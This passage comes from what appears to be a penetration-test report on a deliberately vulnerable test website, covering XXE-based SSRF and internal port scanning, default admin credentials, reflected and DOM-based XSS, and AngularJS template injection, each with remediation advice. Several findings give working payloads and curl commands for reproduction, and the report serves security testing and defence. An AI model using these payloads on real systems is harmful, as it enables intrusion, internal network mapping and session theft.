   The server responds with HTTP 200 and a body containing a newline character (content retrieved from the internal CouchDB service), confirming the SSRF connection succeeded.

2. Send the same POST request but target a closed port (9999) to establish a differential baseline:

   ```
   curl -s -X POST -H 'Content-Type: text/xml' -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:9999/">]><forgot><username>&xxe;</username></forgot>' http://python.testinvicti.com/forgotpw
   ```

   The server responds with HTTP 200 and a body containing unknown, indicating the connection to the closed port failed. The differential response proves the server is making outbound HTTP requests to internal services on behalf of the attacker.

SEVERITY JUSTIFICATION

This SSRF allows unauthenticated attackers to reach internal services (CouchDB on port 5984) from the internet, enabling enumeration and data exfiltration from the backend database. The network-based, no-auth, no-interaction attack with high confidentiality impact on subsequent systems justifies a high severity rating.

DISCOVERY & EXPLOITATION

The `/forgotpw` endpoint accepts a raw XML body and passes it to an XML parser that resolves external entities without restriction. By embedding a crafted `<!DOCTYPE>` declaration with an external entity referencing an internal URI, an attacker causes the server to issue an outbound HTTP request on their behalf. The vulnerability is confirmed through differential response behavior: requests targeting port 5984 return content, while requests targeting a closed port (9999) return the string `unknown`, demonstrating that the server's response directly reflects the reachability of internal network addresses.

The distinguishing characteristic of this finding, relative to its sibling, is the confirmed reachability of the internal CouchDB service on port 5984. An unauthenticated attacker does not merely probe for open ports; they interact with the CouchDB REST API directly through the SSRF channel, issuing requests to enumerate databases, retrieve documents, and extract credentials or application data stored in the backend — all without any network-level access to the internal infrastructure.

IMPACT ANALYSIS

The confirmed connection to CouchDB on port 5984 represents a direct path to the application's backend data store from the public internet, requiring no authentication and no user interaction. CouchDB's HTTP-based REST API exposes database enumeration (`/_all_dbs`), document retrieval, and administrative functions through standard GET and POST requests, meaning the SSRF channel is sufficient to read, and potentially modify, all data the database contains. Depending on the data stored, this exposure carries significant implications under GDPR and other data protection frameworks, as personal data held in the database becomes accessible to any external attacker who discovers the endpoint. The operational risk extends beyond data exfiltration: if CouchDB is running without authentication (a common default configuration), the attacker can create or delete databases and documents, causing direct data integrity and availability impact. The combination of an unauthenticated public endpoint, an unrestricted XML parser, and a reachable internal database service constitutes a complete, single-step compromise of the application's data layer.

REMEDIATION

1. Disable external entity processing in the XML parser used by the `/forgotpw` endpoint. For Python's `lxml` , use `etree.XMLParser(resolve_entities=False, no_network=True)` . For `defusedxml` , replace `xml.etree` with `defusedxml.ElementTree` .
2. Validate and sanitize the `username` field as plain text input — reject any XML containing `<!DOCTYPE` or `<!ENTITY` declarations before parsing.
3. Implement a server-side allowlist for outbound HTTP requests, blocking connections to `127.0.0.1` , `localhost` , `169.254.x.x` , and other internal/reserved IP ranges.
4. Switch the `/forgotpw` endpoint to accept `application/x-www-form-urlencoded` or `application/json` instead of raw XML to eliminate the XXE attack surface entirely.
5. Long-term: adopt `defusedxml` library across all Python XML parsing and add CI checks (e.g., Bandit rules B313-B320) to flag unsafe XML parser usage.

INV-6

Server-Side Request Forgery via XXE Entity Resolution Enabling Internal Port Scanning

HIGH

SEVERITY	CATEGORY	CWE
High	Broken Access Control	CWE-918

ENDPOINT
http://python.testinvicti.com/forgotpw

PARAMETER
username (XML body via XXE entity)

CVSS 4.0
9.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N

EVIDENCE

Payload used:

```
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/">]>
<forgot><username>&xxe;</username></forgot>
```

Observed:

SSRF via XXE entity resolution. Port 5984 (CouchDB) on 127.0.0.1 returns content (newline character, len=1), while closed ports return "unknown" (len=7). This confirms the server makes HTTP requests to internal services. Port scan shows only port 5984 is open internally. Cloud metadata endpoint (169.254.169.254) returns "system".

HTTP TRANSACTION

REQUEST

```
POST /forgotpw HTTP/1.1
Host: python.testinvicti.com
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/">]>
<forgot><username>&xxe;</username></forgot>
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Content-Length: 1

\n

--- Comparison (closed port) ---
HTTP/1.1 200 OK
Content-Length: 7
```

```
unknown
```

STEPS TO REPRODUCE

1. Send a POST request to the /forgotpw endpoint with an XXE payload targeting an open internal port (CouchDB on 5984):

   ```
   curl -s -X POST http://python.testinvicti.com/forgotpw -H 'Content-Type: text/xml' -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:5984/">]><forgot><username>&xxe;</username></forgot>'
   ```

   The server responds with HTTP 200 and a body of length 1 (a newline character), indicating CouchDB responded to the internal request.

2. Send the same request targeting a closed port to confirm differential behavior:

   ```
   curl -s -X POST http://python.testinvicti.com/forgotpw -H 'Content-Type: text/xml' -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:9999/">]><forgot><username>&xxe;</username></forgot>'
   ```

   The server responds with HTTP 200 and body unknown (length 7), confirming the port is closed and proving the server-side request is being made.

3. The differential response (len=1 for open port vs len=7 "unknown" for closed port) confirms the application resolves XXE entities by making HTTP requests to attacker-specified internal addresses, enabling internal port scanning and potential access to sensitive services like CouchDB.

SEVERITY JUSTIFICATION

This SSRF allows unauthenticated attackers to scan internal ports and access internal services (CouchDB on port 5984) from the internet. The high confidentiality impact on both vulnerable and subsequent systems reflects the ability to read internal service responses and map the internal network, though integrity and availability impact is limited.

DISCOVERY & EXPLOITATION

Where INV-5 established that the `/forgotpw` XML parser resolves external entities to read local files, this finding demonstrates that the same entity resolution mechanism also issues outbound HTTP requests to arbitrary network addresses, constituting a full server-side request forgery primitive. The application's XML parser follows HTTP-scheme entity references at the network level, meaning an attacker can direct the server to connect to any IP and port reachable from the host. The exploitation oracle is behavioral: when the target port is open, the server returns a minimal response body (1 byte); when the port is closed, it returns the literal string `unknown`. This deterministic difference allows an unauthenticated attacker to enumerate internal network topology without any authentication or prior access.

An unauthenticated attacker exploiting this primitive would iterate across internal RFC-1918 address space and common service ports, using the open/closed response differential to map live hosts and services. The assessment confirmed direct access to CouchDB on `127.0.0.1:5984` — a database

service that, as documented in the broader assessment, is reachable without credentials. From that pivot, the attacker can issue arbitrary CouchDB HTTP API calls through the SSRF channel, extracting database contents, enumerating users, or modifying records entirely from the public internet.

IMPACT ANALYSIS

This vulnerability grants an unauthenticated external attacker the ability to use the application server as a proxy into the internal network, bypassing any perimeter controls that would otherwise prevent direct access to internal services. The confirmed reach to CouchDB on port 5984 is particularly severe: CouchDB exposes a full REST API, and SSRF-mediated access to it enables bulk data extraction of all stored records without requiring separate authentication. Beyond the known CouchDB instance, the port-scanning capability allows systematic discovery of additional internal services, cloud metadata endpoints (such as `169.254.169.254`), and other infrastructure that may carry credentials or configuration data. The combination of an unauthenticated entry point, a reliable binary oracle, and confirmed access to a sensitive internal database represents a high-severity exposure with direct implications for data confidentiality and internal network integrity. Any data stored in CouchDB falls within scope of applicable data protection obligations, including GDPR and PCI-DSS where personal or payment data is present.

REMEDIATION

1. Disable external entity resolution in the XML parser used by `/forgotpw`. In Python's `lxml`, use `etree.XMLParser(resolve_entities=False, no_network=True)`. For `defusedxml`, replace `xml.etree` with `defusedxml.ElementTree`.
2. Switch the `/forgotpw` endpoint to accept JSON instead of raw XML to eliminate the XXE attack surface entirely.
3. Implement server-side egress filtering (network-level or application-level allowlists) to prevent the application from making HTTP requests to `127.0.0.1`, `169.254.169.254`, or other internal/metadata addresses.
4. Validate and sanitize the `username` field server-side to ensure it contains only expected characters (e.g., alphanumeric and common email characters).
5. Long-term: adopt `defusedxml` library across all Python XML parsing and add a CI linting rule to flag use of unsafe XML parsers.

INV-7

Weak Password Policy: Default Credentials on Admin Panel

HIGH

SEVERITY	CATEGORY	CWE
High	Identification and Authentication Failures	CWE-521

ENDPOINT

http://python.testinvicti.com/admin/

CVSS 4.0

9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

EVIDENCE

Observed:

Username: admin, Password: secret.

HTTP TRANSACTION

REQUEST

```
GET /admin/ HTTP/1.1
Host: python.testinvicti.com
Authorization: Basic YWRtaW46c2VjcmV0
Cookie: username=admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 30 Jul 2026 20:14:36 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4068

<!DOCTYPE html>
<html lang="en" ...>
<head>
  <title>SecurityTweets - Administrative Page</title>
</head>
<body>
  <p class="navbar-text pull-left">Admin Dashboard</p>
  [... truncated ...]
</body>
</html>
```

STEPS TO REPRODUCE

1. Send a GET request to the admin endpoint using the weak credentials admin:secret via HTTP Basic Auth:

   ```
   curl -v http://python.testinvicti.com/admin/ -H "Authorization: Basic YWRtaW46c2VjcmV0"
   ```

   The server responds with HTTP 200 and the full Administrative Page HTML, confirming successful authentication with the weak password.

2. Verify that the credentials are trivially guessable by confirming the Base64-decoded value of YWRtaW46c2VjcmV0 is admin:secret — a common default credential pair.

SEVERITY JUSTIFICATION

The admin panel is protected only by a trivially guessable password (admin:secret) over HTTP Basic Auth with no rate limiting, allowing any unauthenticated remote attacker to gain full administrative access with high confidentiality and integrity impact.

DISCOVERY & EXPLOITATION

The DAST agent targeted the `/admin/` endpoint and submitted the credential pair `admin:secret` via HTTP Basic Authentication. The server returned HTTP 200 with the full "Administrative Page" content, confirming that the application ships with default, trivially guessable credentials and applies no rate limiting or lockout policy to prevent automated guessing. The absence of any brute-force protection means an attacker does not even require a dictionary attack — the credentials are common knowledge.

An unauthenticated remote attacker requires only a browser or a single HTTP request to gain full administrative access. With no account lockout, no second factor, and the credentials transmitted in cleartext over unencrypted HTTP, the administrative boundary is effectively nonexistent. Once authenticated, the attacker operates with the full privilege set of the admin panel: modifying application data, creating or deleting accounts, altering configuration, or using the privileged session as a foothold for deeper exploitation of the underlying server.

IMPACT ANALYSIS

Unrestricted administrative access obtained through default credentials represents a complete failure of the application's access control boundary. Any data managed through the admin panel — user records, application configuration, and potentially credentials for connected systems — is fully exposed to unauthorized read and modification. The combination of default credentials and cleartext HTTP transmission means the credentials are interceptable in transit and require no cracking effort once captured. From a compliance perspective, deployment of default credentials violates baseline requirements under PCI-DSS (Requirement 2.1), NIST SP 800-63B, and any reasonable interpretation of GDPR's obligation to implement appropriate technical security measures. Reputational and operational consequences of an admin panel compromise include defacement, data exfiltration, and the potential for the attacker to pivot to backend systems accessible only from the application tier.

REMEDIATION

1. Immediately change the admin password on `/admin/` to a strong, unique password of at least 14 characters containing uppercase, lowercase, digits, and special characters.
2. Implement an account lockout or rate-limiting policy after a small number of failed authentication attempts to prevent brute-force attacks.
3. Replace HTTP Basic Authentication with a more secure mechanism such as token-based authentication (e.g., OAuth 2.0 or session-based login with CSRF protection).
4. Enforce a password policy application-wide that rejects common/weak passwords by checking against a known-breached-passwords list (e.g., NIST SP 800-63B guidelines).
5. Integrate automated credential-strength checks into CI/CD pipelines to prevent deployment of default or weak credentials.

INV-8

Reflected XSS via `id` Parameter Breaking Out of HTML Comment Context

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/

CVSS 4.0
5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Observed:

URI was set to -->1<ScRiPt>zV7W(9923)</ScRiPt><!--

The input is reflected inside a comment element.

HTTP TRANSACTION

REQUEST

```
GET /comment?
id=%2d%2d%3e%31%3c%53%63%52%69%50%74%3e%7a%56%37%57%28%39%39%32%33%29%3c%2f%53
%63%52%69%50%74%3e%3c%21%2d%2d HTTP/1.1
Host: python.testinvicti.com
Cookie: username=admin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/149.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-alive
```

RESPONSE

```
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Content-Type: text/html; charset=utf-8

[... truncated ...]

        Sorry, but commenting is currently disabled! <!-- -->1<ScRiPt>zV7W(9923)</ScRiPt><!-- -->

[... truncated ...]
```

STEPS TO REPRODUCE

1. Send a GET request to the /comment endpoint with an XSS payload that breaks out of an HTML comment context:

```
curl -s "http://python.testinvicti.com/comment?id=-->1<ScRiPt>zV7W(9923)</ScRiPt><!--"
```

The server responds with HTTP 200 and the payload is rendered unescaped inside the HTML body.

2. Inspect the response body for the reflected payload. Look for the string 1<ScRiPt>zV7W(9923)</ScRiPt> appearing outside the HTML comment delimiters, confirming the comment breakout and script injection:

```
Sorry, but commenting is currently disabled! <!-- -->1<ScRiPt>zV7W(9923)</ScRiPt><!-- -->
```

3. Open a browser and navigate to http://python.testinvicti.com/comment?id=--><script>alert(document.domain)</script><!-- to confirm JavaScript execution in the context of the application's origin.

SEVERITY JUSTIFICATION

This is a reflected XSS requiring user interaction (clicking a crafted link) but with no privileges required and low attack complexity. It allows script execution in the victim's browser session, impacting confidentiality and integrity of the subsequent system (user's browser context).

DISCOVERY & EXPLOITATION

The scanner identified that the `/comment` endpoint reflects the `id` parameter value directly into the HTML response body without encoding. What distinguishes this injection context from sibling findings is the specific rendering location: the application embeds the `id` value inside an HTML comment, and the parameter value is not sanitized for comment-breaking sequences. By injecting a payload containing `-->` to close the comment delimiter followed by a script tag, the injected content escapes the comment context entirely and is parsed as executable markup by the browser. The agent confirmed this by observing the payload `1<ScRiPt>zV7W(9923)</ScRiPt>` rendered outside the comment delimiters in the response body, with no encoding or filtering applied.

An unauthenticated attacker crafts a URL targeting the `/comment` endpoint with a malicious `id` value that breaks out of the HTML comment and executes arbitrary JavaScript in the victim's browser session. The attacker delivers this URL via phishing or a malicious redirect; upon a single click, the injected script runs with full access to the victim's session context, enabling credential theft, session hijacking, or forced actions on behalf of the victim.

IMPACT ANALYSIS

The business impact of this vulnerability is consistent with the reflected XSS class documented across sibling findings: successful exploitation enables session token theft, account takeover, and execution of arbitrary actions within the authenticated user's browser context. What is specific to this instance is the injection mechanism: the HTML comment breakout means the payload is not visible in the rendered page, making it harder for a victim to detect that a malicious link has triggered script execution. This increases the practical effectiveness of phishing campaigns that weaponize this endpoint. Because the `/comment` endpoint is likely tied to user-generated content or comment identifiers, an attacker who can predict or enumerate valid `id` values may be able to construct

targeted payloads against specific users or content items, narrowing the social engineering effort required. Any session data, authentication cookies lacking the HttpOnly flag, or sensitive page content accessible to the victim at the time of exploitation is at risk of exfiltration.

REMEDIATION

1. Sanitize the `id` parameter in the `/comment` endpoint by applying HTML entity encoding before inserting it into the page. Ensure characters like `<`, `>`, `--`, and `/` are escaped.
2. Implement a Content-Security-Policy header (e.g., `script-src 'self'`) to prevent inline script execution even if encoding is bypassed.
3. Validate that the `id` parameter matches an expected format (e.g., integer-only) and reject requests containing HTML metacharacters.
4. Use a templating engine with auto-escaping enabled (e.g., Jinja2 with `autoescape=True`) so user input is never rendered raw in HTML output.
5. Long-term, integrate an automated SAST/DAST check in CI to catch reflected XSS regressions before deployment.

INV-9

DOM-Based XSS via `location.hash` Injection into AngularJS Route HTML Sink

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/

PARAMETER	CVSS 4.0
location.hash	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

EVIDENCE

Observed:

Source: <code>location.hash</code>
Execution Sink: <code>set HTML code</code>
Location: <code>http://python.testinvicti.com/?
wvstest=javascript%3AdomxssExecutionSink%281%2C%22%27%5C%22%3E%3Cxsstag%3E%28%29locxss%22
%29#/popular/page/javascript:domxssExecutionSink(1,"'\"><xsstag>()hashxss")
</code>
HTML code set:
<code>binding">javascript:domxssExecutionSink(1,"'\"><xsstag>
()hashxss")</xsstag></code>

STEPS TO REPRODUCE

1. Navigate to the application in a browser and open the browser's developer tools (Console tab) to observe JavaScript execution.
2. Modify the URL hash to inject a payload that will be rendered as HTML. Visit the following URL:

   ```
   http://python.testinvicti.com/#/popular/page/<img src=x onerror=alert(document.domain)>
   ```

   Observe that the injected HTML tag is rendered in the page DOM and the alert() fires, confirming script execution.
3. Alternatively, use a simpler detection payload to confirm the sink processes arbitrary markup:

   ```
   http://python.testinvicti.com/#/popular/page/<xsstag>hashxss</xsstag>
   ```

   Inspect the DOM and confirm that <xsstag>hashxss</xsstag> appears as rendered HTML within the page, proving the location.hash value flows unsanitized into an HTML-setting sink.

SEVERITY JUSTIFICATION

DOM-based XSS requires user interaction (clicking a crafted link) but needs no authentication or special conditions. Successful exploitation allows full session hijacking and actions on behalf of the victim in the subsequent system context, justifying a High severity rating.

DISCOVERY & EXPLOITATION

The scanner identified that the application reads the `location.hash` fragment and passes its value directly into an HTML-setting DOM sink without sanitization or encoding. Because URL fragments are never sent to the server, this sink is invisible to server-side controls — the vulnerable data flow exists entirely within the browser. The outdated AngularJS 1.0.6 framework, which lacks sandbox protections, processes the injected markup and renders it as live HTML, confirmed by the appearance of the injected `<xsstag>` element in the rendered DOM.

This vector is distinct from the sibling `page` hash parameter (INV-27) in that it targets the AngularJS routing layer's HTML sink directly via the raw `location.hash` value rather than a named route parameter. An unauthenticated attacker delivers a crafted URL containing a malicious fragment to a victim; no server interaction is required for the payload to execute, making the attack undetectable by server-side logging and bypassing WAF inspection entirely.

IMPACT ANALYSIS

Successful exploitation grants an attacker full script execution in the victim's browser origin, enabling session token theft, credential harvesting via injected forms, and arbitrary actions performed on behalf of the authenticated user. The server-side invisibility of the fragment means the attack leaves no trace in access logs, significantly reducing the likelihood of detection or incident response. Because the application operates entirely over unencrypted HTTP with no Secure cookie flags, a network-positioned attacker can combine this vector with passive traffic interception: the crafted link can be injected into cleartext HTTP responses in transit, removing even the social-engineering step of delivering a malicious URL. The absence of a Content Security Policy provides no browser-level backstop against the injected script, and the unpatched AngularJS 1.0.6 runtime removes any framework-level mitigation that a modern version would otherwise provide.

REMEDIATION

1. Sanitize or encode all values derived from `location.hash` before inserting them into the DOM. Use AngularJS's `$sce` service or `ng-bind-html` with `$sanitize` to prevent untrusted HTML from being rendered.
2. Upgrade AngularJS from 1.0.6 to a modern, supported version (1.8.x minimum) that includes built-in sandbox protections and stricter interpolation handling.
3. Implement a Content Security Policy (CSP) header that disallows `unsafe-inline` and `unsafe-eval` to mitigate the impact of any DOM XSS that bypasses application-level controls.
4. Validate route parameters on the client side to ensure they conform to expected patterns (e.g., numeric page numbers) before rendering them in the DOM.
5. Adopt a long-term prevention strategy by integrating a Trusted Types policy via the `Content-Security-Policy: trusted-types` directive to block all DOM XSS sinks at the browser level.

INV-10

DOM-Based XSS via `window.location` Source

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/

PARAMETER	CVSS 4.0
window.location	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Observed:

Source: <code>window.location</code>
Execution Sink: <code>set HTML code</code>
Location: <code>http://python.testinvicti.com/?wvstest=javascript%3AdomxssExecutionSink%281%2C%22%27%5C%22%3E%3Cxsstag%3E%28%29locxss%22%29#javascript:domxssExecutionSink(1,"'\"><xsstag>()locxss")</code>
HTML code set: <code>wvstest=javascript:domxssExecutionSink(1,"'\"=""><xsstag>()locxss")#javascript:domxssExecutionSink(1,"'\"><xsstag>()locxss")"></xsstag></xsstag></div></code>

STEPS TO REPRODUCE

1. Navigate to the application root with a crafted query string and fragment that flows into a DOM sink:

   http://python.testinvicti.com/?wvstest=javascript%3AdomxssExecutionSink%281%2C%22%27%5C%22%3E%3Cxsstag%3E%28%29locxss%22%29#javascript:domxssExecutionSink(1,"'\"><xsstag>()locxss")

2. Observe that the value of window.location (including query string and hash) is written into the page's HTML without sanitization. Inspect the DOM to confirm that the injected markup <xsstag> appears as rendered HTML elements within the page.

3. Verify exploitation by replacing <xsstag> with an active payload such as <img src=x onerror=alert(document.domain)> in both the query string and fragment, confirming JavaScript execution in the browser context.

SEVERITY JUSTIFICATION

DOM-based XSS requires user interaction (clicking a crafted link) but needs no authentication or special privileges. It allows arbitrary script execution in the victim's browser context, enabling session hijacking or data theft on the subsequent system, justifying a high severity rating.

DISCOVERY & EXPLOITATION

The scanner identified that the application reads from `window.location` (including properties such as `hash`, `search`, and `href`) and passes the resulting value directly into an HTML-setting sink without sanitization. The confirmation signal was the presence of attacker-controlled markup, specifically an `<xsstag>` element, in the rendered DOM — demonstrating that the browser parsed and inserted the injected content as HTML rather than treating it as text. The outdated AngularJS 1.0.6 framework, which lacks the contextual escaping and `DomSanitizer` controls present in modern Angular releases, contributes directly to this sink being reachable without interception.

This source differs from the sibling `location.hash` finding (INV-9) in that the full `window.location` object is consumed, meaning the attack surface extends beyond the URL fragment to include the query string and full href — broadening the set of URL components an attacker can weaponize. An unauthenticated attacker crafts a URL containing a malicious payload in any of these components and delivers it to a target user. Because the application is served over unencrypted HTTP, the crafted link can also be injected mid-transit by a network-positioned attacker without any user interaction beyond visiting the site.

IMPACT ANALYSIS

The business impact of this vulnerability is consistent with the DOM XSS class described in sibling findings: successful exploitation enables arbitrary JavaScript execution in the victim's browser session, supporting session token theft, credential harvesting via injected forms, and forced actions on behalf of the authenticated user. What distinguishes this instance is the breadth of the source: because the full `window.location` object feeds the sink, an attacker is not constrained to a single URL component, making payload delivery more flexible and filter evasion more straightforward. Combined with the application's complete absence of TLS, a network-positioned attacker can silently rewrite response content or inject crafted links into cleartext traffic, removing the social-engineering step typically required to deliver a DOM XSS payload. The absence of a Content-Security-Policy header means the browser imposes no restriction on the scripts the injected payload may load or execute, leaving no compensating control between the vulnerability and full in-browser compromise.

REMEDIATION

1. Avoid using `window.location` (or its properties like `hash`, `search`, `href`) directly in DOM manipulation sinks such as `innerHTML`, `document.write`, or jQuery's `.html()` method.
2. Sanitize all URL-derived data before inserting it into the DOM — use `textContent` or `innerText` instead of `innerHTML` when rendering user-controlled strings.
3. Upgrade AngularJS from 1.0.6 to a supported framework version (e.g., Angular 14+) that provides built-in contextual escaping via its template compiler and `DomSanitizer`.
4. Implement a strict Content-Security-Policy header (e.g., `script-src 'self'`) to mitigate exploitation even if a DOM XSS sink remains.
5. Integrate a client-side static analysis tool (e.g., ESLint with `no-unsanitized` plugin) into CI to detect dangerous sink usage before deployment.

INV-11

DOM-Based XSS via `window.name` Source in `eval()` Sink

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/

PARAMETER	CVSS 4.0
window.name	6.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

EVIDENCE

Observed:

```
<i>Source: </i><code>window.name</code><br/><i>Execution Sink: </i><code>evaluate code</code><br/>
<i>Location: </i><code>http://python.testinvicti.com/?
wvstest=javascript%3AdomxssExecutionSink%281%2C%22%27%5C%22%3E%3Cxsstag%3E%28%29locxss%22
%29#/javascript:domxssExecutionSink(1,&amp;quot;'\&amp;quot;&amp;gt;&amp;lt;xsstag&amp;gt;
()hashxss&amp;quot;)/filter/www.eff.org</code><br/><i>Stack Trace: </i><br/><ul><li>value
(&amp;lt;anonymous&amp;gt;:4154:24)</li>
<li>Object.toObject (http://python.testinvicti.com/static/app/libs/sessvars.js:130:18)</li>
<li>Object.init (http://python.testinvicti.com/static/app/libs/sessvars.js:85:29)</li>
</ul>
        <i>Code:</i><br/>
        <pre>URL:  http://python.testinvicti.com/static/app/libs/sessvars.js
Call: eval('this.myObj=' + x);</pre>
```

STEPS TO REPRODUCE

1. Set window.name to a malicious JavaScript payload by opening the target from an attacker-controlled page. For example, create an HTML file with:

   ```
   <script>
   window.name = '{"myObj": 1};alert(document.domain)//';
   window.location = 'http://python.testinvicti.com/';
   </script>
   ```

   Host this file and visit it in a browser.

2. Once the browser navigates to http://python.testinvicti.com/, the sessvars.js library reads window.name and passes it to eval('this.myObj=' + x) without sanitization.

3. Observe that the injected JavaScript executes in the context of python.testinvicti.com, confirming DOM-based XSS. The browser's developer console or an alert() dialog will show the domain, proving script execution.

   The vulnerable code path is:

```
sessvars.js:85 (Object.init)    sessvars.js:130 (Object.toObject)    eval('this.myObj=' + x)
```

SEVERITY JUSTIFICATION

This DOM-based XSS allows arbitrary JavaScript execution in the victim's browser session via the window.name source reaching an eval() sink. User interaction is required (victim must visit an attacker-controlled page), but no privileges are needed and attack complexity is low, resulting in high impact on the subsequent system's confidentiality and integrity.

DISCOVERY & EXPLOITATION

The DAST agent traced a complete DOM XSS data flow originating from `window.name`, a browser property that any cross-origin page can set freely before navigating or redirecting a victim to the target. The vulnerable code path in `sessvars.js` passes the raw `window.name` value directly into an `eval('this.myObj=' + x)` call, providing an unsanitized string concatenation route from an attacker-controlled source to a code-execution sink with no intermediate validation or encoding.

What distinguishes this vector from the other DOM XSS vulnerabilities in this assessment is the cross-origin delivery mechanism. Unlike `location.hash` or `window.location` sources, `window.name` persists across navigations and can be written by any page that opens a window or iframe pointing to the target, including pages on entirely unrelated origins. An attacker hosts a page that sets `window.name` to a malicious JavaScript payload and then redirects the victim's browser to `http://python.testinvicti.com/`. The browser carries the poisoned `window.name` value into the target origin, where `sessvars.js` evaluates it immediately, executing the attacker's code in the context of the application's origin with full access to session cookies, stored credentials, and DOM state.

IMPACT ANALYSIS

The business impact of this vulnerability is consistent with the other DOM XSS vulnerabilities documented in this assessment: successful exploitation grants an attacker arbitrary JavaScript execution within a victim's authenticated session, enabling session token theft, credential harvesting, and account takeover. The distinguishing characteristic here is the delivery mechanism. Because `window.name` is writable cross-origin, exploitation requires no interaction with any application endpoint and bypasses any server-side input filtering entirely. An attacker needs only to lure a victim to an external page, a trivially low bar achievable through phishing, malvertising, or a compromised third-party site. Combined with the application's lack of TLS, stolen session tokens are also exposed to network interception, compounding the risk. The absence of a Content Security Policy blocking `unsafe-eval` means no browser-enforced control exists to interrupt the `eval()` execution path even if other mitigations are partially applied.

REMEDIATION

1. Remove or replace the unsafe `eval('this.myObj=' + x)` call in `sessvars.js` with a safe JSON parser such as `JSON.parse(x)` to prevent arbitrary code execution from untrusted input.
2. Sanitize or validate the `window.name` property before it is passed to any code evaluation function, as `window.name` can be set by any page that opens or navigates to the target.

3. Implement a strict Content Security Policy (CSP) header that disallows `unsafe-eval` to block `eval()` execution even if the vulnerable code path remains.
4. Audit all JavaScript libraries for additional DOM-based sinks (`eval` , `setTimeout` , `Function()` , `innerHTML`) that consume attacker-controllable DOM sources.
5. Integrate automated DOM XSS scanning (e.g., ESLint security plugins or SemGrep rules targeting `eval`) into CI/CD to prevent reintroduction.

INV-12

AngularJS Client-Side Template Injection via `lastName` Parameter at Contact Endpoint

HIGH

SEVERITY	CATEGORY	CWE
High	Injection	CWE-79

ENDPOINT
http://python.testinvicti.com/contact

PARAMETER	CVSS 4.0
lastName	5.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

EVIDENCE

Payload used:

{{constructor.constructor('window.xss_test=55854258')()}}

Observed:

AngularJS 1.0.6 template injection confirmed: payload {{constructor.constructor('window.xss_test=55854258')()}} reflected unencoded inside RDFYjolf {{...}} in the POST response. Browser (iframe srcdoc, same-origin) confirmed window.xss_test === 55854258 after AngularJS evaluated the template expression. BAD control (baseline lastName=RDFYjolf) confirmed window.xss_test is undefined.

HTTP TRANSACTION

REQUEST

```
POST /contact HTTP/1.1
Host: python.testinvicti.com
Content-Type: application/x-www-form-urlencoded

address=3137+Laguna+Street&firstName=RDFYjolf&lastName=%7B%7Bconstructor.constructor%28%27window.xss_test%3D55854258%27%29%28%29%7D%7D&message=555&subject=na
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: text/html

[... truncated ...]
thank you very much for your feedback <b>RDFYjolf {{constructor.constructor('window.xss_test=55854258')()}}</b>!
[... truncated ...]
(AngularJS 1.0.6 evaluates the template expression, executing window.xss_test=55854258)
```

STEPS TO REPRODUCE

1. Send a POST request to the /contact endpoint with the AngularJS template injection payload in the lastName parameter:

```
curl -X POST http://python.testinvicti.com/contact \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d
'address=3137+Laguna+Street&firstName=RDFYjolf&lastName=%7B%7Bconstructor.constructor%28%27
window.xss_test%3D55854258%27%29%28%29%7D%7D&message=555&subject=na'
```

   The response reflects the payload unencoded inside a tag: RDFYjolf {{constructor.constructor('window.xss_test=55854258')()}}.

2. Open the response HTML in a browser (or render it in an iframe on the same origin). AngularJS 1.0.6 is loaded via the page's data-ng-app="itemsApp" attribute and evaluates the {{...}} expression, executing window.xss_test=55854258.

3. Verify exploitation by checking window.xss_test in the browser console — it equals 55854258, confirming arbitrary JavaScript execution.

4. As a control, repeat the POST with a benign lastName=RDFYjolf value and confirm that window.xss_test remains undefined, proving the template expression is the cause of execution.

SEVERITY JUSTIFICATION

